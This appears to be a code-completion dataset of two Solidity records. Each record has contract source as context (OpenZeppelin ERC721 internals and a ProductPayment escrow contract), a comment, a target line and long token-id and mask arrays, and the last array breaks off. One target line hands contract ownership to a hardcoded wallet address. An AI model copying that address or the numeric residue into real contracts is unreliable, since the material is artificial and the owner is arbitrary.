* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
} | add your owner address in paranteses
| transferOwnership(0x87093A904d4a096eC105e517De61AE81Aaffb7EA); | 14,675,504 | [
1,
1289,
3433,
3410,
1758,
316,
779,
970,
281,
281,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
7412,
5460,
12565,
12,
20,
92,
11035,
5908,
23,
37,
29,
3028,
72,
24,
69,
5908,
26,
73,
39,
21661,
73,
25,
4033,
758,
9498,
16985,
11861,
37,
7329,
70,
27,
41,
37,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.24;
import "../common/Active.sol";
import "../common/SafeMathLib.sol";
import "../common/Manageable.sol";
import "../token/IERC20Token.sol";
import "../common/EtherHolder.sol";
import "./IProductStorage.sol";
import "./IEscrow.sol";
import "./IFeePolicy.sol";
import "./IPurchaseHandler.sol";
import "./IDiscountPolicy.sol";
import "./IBancorConverter.sol";
import "./IEtherPriceProvider.sol";
import "./IRevokedStorage.sol";
/**@dev This contact accepts payments for products and transfers ether to all the parties */
contract ProductPayment is EtherHolder, Active {
using SafeMathLib for uint256;
//
//Events
//emitted during purchase process. Id is 0-based index of purchase in the engine.purchases array
event ProductBought(
address indexed buyer,
address indexed vendor,
uint256 indexed productId,
uint256 purchaseId,
string clientId,
uint256 price,
uint256 paidUnits,
uint256 discount
);
//emitted in revoke function
event PurchaseRevoked(address indexed vendor, uint256 indexed productId, uint256 purchaseId);
//emitted in resolve function
event DisputeResolved(
address indexed escrow,
uint256 indexed productId,
uint256 indexed purchaseId,
uint8 refundPct
);
//emitted in complain function
event ComplainMade(
address indexed vendor,
address indexed customer,
uint256 indexed productId,
uint256 purchaseId
);
event DeliverConfirmed(address indexed customer, uint256 indexed productId, uint256 purchaseId);
//
// Storage data
IProductStorage public productStorage;
IEscrow public escrowProvider;
IFeePolicy public feePolicy;
IDiscountPolicy public discountPolicy;
IRevokedStorage public revokedStorage;
//contract that stores ether/usd exchange rate
IEtherPriceProvider public etherPriceProvider;
//token that can be used as payment tool
IERC20Token public token;
// Bancor converter to convert BCS to ETH.
IBancorConverter public converter;
// escrow payment hold time in seconds
address[] public convertPath;
//
// Methods
constructor(
IProductStorage _productStorage,
IEscrow _escrowProvider,
IFeePolicy _feePolicy,
IDiscountPolicy _discountPolicy,
IRevokedStorage _revokedStorage,
IERC20Token _token,
IEtherPriceProvider _etherPriceProvider
)
public
{
setParams(_productStorage, _escrowProvider, _feePolicy, _discountPolicy, _revokedStorage, _token, _etherPriceProvider);
}
//allows to receive direct ether transfers
function() public payable {}
/**@dev Sets convert path for changing BCS to ETH through Bancor */
function setConvertParams(IBancorConverter _converter, address[] _convertPath) public ownerOnly {
converter = _converter;
convertPath = _convertPath;
}
/**@dev Changes parameters */
function setParams(
IProductStorage _productStorage,
IEscrow _escrowProvider,
IFeePolicy _feePolicy,
IDiscountPolicy _discountPolicy,
IRevokedStorage _revokedStorage,
IERC20Token _token,
IEtherPriceProvider _etherPriceProvider
)
public
ownerOnly
{
productStorage = _productStorage;
escrowProvider = _escrowProvider;
feePolicy = _feePolicy;
discountPolicy = _discountPolicy;
revokedStorage = _revokedStorage;
token = _token;
etherPriceProvider = _etherPriceProvider;
}
function getUnitsToBuy(uint256 productId, uint256 units, bool acceptLessUnits) public view returns(uint256) {
(uint256 price, uint256 maxUnits, uint256 soldUnits) = productStorage.getProductData(productId);
//if product is limited and it's not enough to buy, check acceptLessUnits flag
if (maxUnits > 0 && soldUnits.safeAdd(units) > maxUnits) {
if (acceptLessUnits) {
return maxUnits.safeSub(soldUnits);
} else {
return 0; //set to 0 so it will fail later
}
} else {
return units;
}
}
/**@dev Returns true if vendor profit can be withdrawn */
function canWithdrawPending(uint256 productId, uint256 purchaseId) public view returns(bool) {
IProductStorage.PurchaseState state = productStorage.getPurchase(productId, purchaseId);
(address customer, uint256 fee, uint256 profit, uint256 timestamp) = productStorage.getEscrowData(productId, purchaseId);
return state == IProductStorage.PurchaseState.Pending ||
(state == IProductStorage.PurchaseState.Paid && esrowHoldTimeElapsed(productId, purchaseId));
// return state == IProductStorage.PurchaseState.Pending
// || (state == IProductStorage.PurchaseState.Paid && esrowHoldTimeElapsed(productId, purchaseId));
}
/**@dev Returns true if escrow time elapsed */
function esrowHoldTimeElapsed(uint256 productId, uint256 purchaseId) public view returns (bool) {
(address customer, uint256 fee, uint256 profit, uint256 timestamp) = productStorage.getEscrowData(productId, purchaseId);
return timestamp + escrowProvider.getProductEscrowHoldTime(productId) <= now;
}
/**@dev Buys product. Send ether with this function in amount equal to
desirable product units * current price. */
function buyWithEth(
uint256 productId,
uint256 units,
string clientId,
bool acceptLessUnits,
uint256 currentPrice
)
public
payable
{
buy(msg.value, productId, units, clientId, acceptLessUnits, currentPrice);
}
/**@dev Buys product using BCS tokens as a payment.
1st parameter is the amount of tokens that will be converted via bancor. This can be calculated off-chain.
Tokens should be approved for spending by this contract */
function buyWithTokens(
uint256 tokens,
uint256 productId,
uint256 units,
string clientId,
bool acceptLessUnits,
uint256 currentPrice
)
public
{
//store bcsConverter, access via extensions
IBancorQuickConverter quickConverter = converter.extensions().quickConverter();
token.transferFrom(msg.sender, quickConverter, tokens);
uint256 ethAmount = quickConverter.convertFor(convertPath, tokens, 1, this);
//use received ether for payment
buy(ethAmount, productId, units, clientId, acceptLessUnits, currentPrice);
}
/**@dev Make a complain on purchase, only customer can call this method */
function complain(uint256 productId, uint256 purchaseId)
public
activeOnly
{
(address customer, uint256 fee, uint256 profit, uint256 timestamp) =
productStorage.getEscrowData(productId, purchaseId);
uint256 escrowHoldTime = escrowProvider.getProductEscrowHoldTime(productId);
//check purchase current state, valid customer and time limits
require(
productStorage.getPurchase(productId, purchaseId) == IProductStorage.PurchaseState.Paid &&
customer == msg.sender &&
timestamp + escrowHoldTime > now
);
//change purchase status
productStorage.changePurchase(productId, purchaseId, IProductStorage.PurchaseState.Complain);
emit ComplainMade(productStorage.getProductOwner(productId), customer, productId, purchaseId);
}
/**@dev Confirms that purchase was delivered. Customer calls this to release escrow-locked funds to vendor */
function confirmDeliver(uint256 productId, uint256 purchaseId)
public
activeOnly
{
//check status is Paid
require(productStorage.getPurchase(productId, purchaseId) == IProductStorage.PurchaseState.Paid);
//check if msg.sender is valid customer
(address customer, uint256 fee, uint256 profit, uint256 timestamp) =
productStorage.getEscrowData(productId, purchaseId);
require(msg.sender == customer);
//change purchase state to Pending
productStorage.changePurchase(productId, purchaseId, IProductStorage.PurchaseState.Pending);
emit DeliverConfirmed(msg.sender, productId, purchaseId);
}
/**@dev Allows vendor to revoke purchase is it wasn't complained yet
* Ether in amount of escrow fee should be attached
*/
function revoke(uint256 productId, uint256 purchaseId)
public
payable
activeOnly
{
//check if its valid vendor
require(msg.sender == productStorage.getProductOwner(productId));
//check state is Paid and hold time not elapsed
require(
productStorage.getPurchase(productId, purchaseId) == IProductStorage.PurchaseState.Paid
&& !esrowHoldTimeElapsed(productId, purchaseId)
);
require(msg.value == revokedStorage.escrowFee(productId, purchaseId));
//change state
productStorage.changePurchase(productId, purchaseId, IProductStorage.PurchaseState.Finished);
revokedStorage.setRevokedFlag(productId, purchaseId, true);
//return payment to customer
(address customer, uint256 fee, uint256 profit, uint256 timestamp) =
productStorage.getEscrowData(productId, purchaseId);
customer.transfer(fee.safeAdd(profit).safeAdd(msg.value));
emit PurchaseRevoked(msg.sender, productId, purchaseId);
}
/**@dev Resolves a complain on specific purchase.
If cancelPayment is true, payment returns to customer; otherwise - to the vendor
refundPct - a percentage of merchant's profit to be sent to customer */
function resolve(uint256 productId, uint256 purchaseId, uint8 refundPct)
public
activeOnly
{
require(refundPct >= 0 && refundPct <= 100);
//check escrow validity - product escrow or default escrow
require(
msg.sender == escrowProvider.getProductEscrow(productId) ||
msg.sender == escrowProvider.defaultEscrow()
);
require(productStorage.getPurchase(productId, purchaseId) == IProductStorage.PurchaseState.Complain);
(address customer, uint256 fee, uint256 profit, uint256 timestamp) = productStorage.getEscrowData(productId, purchaseId);
if(refundPct > 0) {
uint256 refundProfit = profit * refundPct / 100.0;
uint256 refundFee = fee * refundPct / 100.0;
profit = profit.safeSub(refundProfit);
fee = fee.safeSub(refundFee);
productStorage.setEscrowData(productId, purchaseId, customer, fee, profit, timestamp);
customer.transfer(refundFee.safeAdd(refundProfit));
}
productStorage.changePurchase(
productId,
purchaseId,
refundPct < 100 ? IProductStorage.PurchaseState.Pending : IProductStorage.PurchaseState.Finished
);
emit DisputeResolved(msg.sender, productId, purchaseId, refundPct);
}
/**@dev withdraws multiple pending payments */
function withdrawPendingPayments(uint256[] productIds, uint256[] purchaseIds)
public
activeOnly
{
require(productIds.length == purchaseIds.length);
address customer;
uint256 fee;
uint256 profit;
uint256 timestamp;
uint256 totalProfit = 0;
uint256 totalFee = 0;
for(uint256 i = 0; i < productIds.length; ++i) {
(customer, fee, profit, timestamp) = productStorage.getEscrowData(productIds[i], purchaseIds[i]);
require(msg.sender == productStorage.getProductOwner(productIds[i]));
require(canWithdrawPending(productIds[i], purchaseIds[i]));
productStorage.changePurchase(productIds[i], purchaseIds[i], IProductStorage.PurchaseState.Finished);
totalFee = totalFee.safeAdd(fee);
totalProfit = totalProfit.safeAdd(profit);
}
productStorage.getVendorWallet(msg.sender).transfer(totalProfit);
feePolicy.sendFee.value(totalFee)(msg.sender);
}
function buy(
uint256 ethAmount,
uint256 productId,
uint256 units,
string clientId,
bool acceptLessUnits,
uint256 currentPrice
)
internal
activeOnly
{
require(productId < productStorage.getTotalProducts());
require(!productStorage.banned(productId));
uint256 price = productStorage.getProductPrice(productId);
//check for active flag and valid price
require(productStorage.isProductActive(productId) && currentPrice == price);
uint256 unitsToBuy = getUnitsToBuy(productId, units, acceptLessUnits);
//check if there is enough units to buy
require(unitsToBuy > 0);
uint256 totalPrice = unitsToBuy.safeMult(price);
//check fiat price usage
if(productStorage.isFiatPriceUsed(productId)) {
totalPrice = totalPrice.safeMult(etherPriceProvider.rate());
price = totalPrice / unitsToBuy;
}
uint256 cashback = discountPolicy.requestCustomerDiscount(msg.sender, totalPrice);
//if there is not enough ether to pay even with discount, safeSub will throw exception
uint256 etherToReturn = ethAmount.safeSub(totalPrice);
uint256 purchaseId = productStorage.addPurchase(productId, msg.sender, price, unitsToBuy, clientId);
processPurchase(productId, purchaseId, totalPrice);
//transfer excess to customer
if (etherToReturn > 0) {
msg.sender.transfer(etherToReturn);
}
emit ProductBought(
msg.sender,
productStorage.getProductOwner(productId),
productId,
purchaseId,
clientId,
price,
unitsToBuy,
cashback
);
}
/**@dev Sends ether payment to all the parties */
function processPurchase(uint256 productId, uint256 purchaseId, uint256 etherToPay) internal {
address owner = productStorage.getProductOwner(productId);
(uint256 baseFee, uint256 escrowFee) = feePolicy.calculateFeeAmount(owner, productId, etherToPay);
uint256 profit = etherToPay.safeSub(baseFee + escrowFee);
if (productStorage.isEscrowUsed(productId)) {
productStorage.setEscrowData(productId, purchaseId, msg.sender, baseFee, profit, now);
productStorage.changePurchase(productId, purchaseId, IProductStorage.PurchaseState.Paid);
//send escrow fee anyway
escrowProvider.getProductEscrow(productId).transfer(escrowFee);
revokedStorage.saveEscrowFee(productId, purchaseId, escrowFee);
} else {
feePolicy.sendFee.value(baseFee)(owner);
productStorage.getVendorWallet(owner).transfer(profit);
}
}
} | *@dev Changes parameters */ | function setParams(
IProductStorage _productStorage,
IEscrow _escrowProvider,
IFeePolicy _feePolicy,
IDiscountPolicy _discountPolicy,
IRevokedStorage _revokedStorage,
IERC20Token _token,
IEtherPriceProvider _etherPriceProvider
)
public
ownerOnly
{
productStorage = _productStorage;
escrowProvider = _escrowProvider;
feePolicy = _feePolicy;
discountPolicy = _discountPolicy;
revokedStorage = _revokedStorage;
token = _token;
etherPriceProvider = _etherPriceProvider;
}
| 12,636,914 | [
1,
7173,
1472,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
